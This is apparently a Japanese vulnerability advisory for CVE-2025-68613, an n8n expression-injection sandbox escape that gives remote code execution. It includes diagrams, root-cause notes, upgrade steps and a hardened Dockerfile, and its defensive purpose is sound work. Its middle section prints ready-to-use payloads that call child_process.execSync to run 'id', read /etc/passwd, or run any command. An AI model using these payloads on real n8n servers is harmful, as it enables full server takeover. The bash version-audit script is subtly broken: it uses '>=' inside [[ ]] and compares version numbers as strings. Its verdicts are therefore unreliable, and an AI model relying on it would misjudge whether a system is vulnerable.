CVE-2025-68613-n8n-rce-analysis

🔓 脆弱性チェーン：
┌─────────────────────────────────────────────────────────────────┐
│  📝 n8n 式言語 → 動的データ処理                                 │
│                           ↓                                     │
│  ⚠️  サンドボックス分離の不十分なサーバーサイド評価              │
│                           ↓                                     │
│  💀 悪意のある式がサンドボックスを脱出                          │
│                           ↓                                     │
│  🖥️  Node.js child_process モジュールにアクセス                 │
│                           ↓                                     │
│  💥 完全な RCE - OS コマンド実行                                │
└─────────────────────────────────────────────────────────────────┘

graph TD
    A[🔐 認証ユーザー] -->|作成| B[📝 新規ワークフロー]
    B -->|注入| C[💀 悪意のある式]
    C -->|トリガー| D[⚡ 式評価]
    D -->|悪用| E[🔓 サンドボックス脱出]
    E -->|アクセス| F[🖥️ Node.js ランタイム]
    F -->|実行| G[💥 child_process によるOSコマンド]
    G -->|達成| H[☠️ サーバー完全乗っ取り]
    
    style A fill:#4CAF50,color:#fff
    style C fill:#ff9800,color:#fff
    style E fill:#f44336,color:#fff
    style H fill:#9c27b0,color:#fff

// 🔴 悪意のあるペイロード（不正利用厳禁）
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('あなたのコマンド').toString() })() }}

┌─────────────────────────────────────────────────────────────────────────┐
│  🔴 脆弱性の根本原因                                                     │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  n8n の式評価器は、関数式が以下のものにアクセスするのを防ぐサニタイザーが  │
│  欠如しています：                                                       │
│                                                                         │
│    ❌ this.process        → Node.js プロセスオブジェクト                │
│    ❌ mainModule.require  → モジュールローディングシステム              │
│    ❌ child_process       → OS コマンド実行                             │
│                                                                         │
│  これにより、システムモジュールへの直接アクセスと任意コード実行が可能！  │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

# 🛡️ n8n を修正バージョンにアップグレード
npm install -g n8n@latest

# Docker を使用する場合
docker pull n8n/n8n:1.122.0

#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n バージョン監査

echo "🔍 n8n バージョンを確認中..."

if command -v n8n >/dev/null 2>&1; then
    VER="$(n8n --version | tr -d 'v' | head -n1)"
    
    if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
        echo "⚠️  脆弱: n8n $VER は CVE-2025-68613 の影響を受けます"
        echo "📦 対応: バージョン 1.120.4, 1.121.1, または 1.122.0+ にアップグレードしてください"
        exit 2
    else
        echo "✅ 安全: n8n $VER は修正されています"
    fi
else
    echo "❌ n8n が PATH に見つかりません"
fi

# 🛡️ 強化された n8n デプロイメント
FROM n8n/n8n:1.122.0

# 👤 非 root ユーザーで実行
USER node

# 🔒 以下のランタイムフラグを適用：
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json

#CVE-2025-68613 #n8n #RCE #式インジェクション #ワークフロー自動化 
#サンドボックス脱出 #CWE-913 #重大な脆弱性 #ペネトレーションテスト #ブルーチーム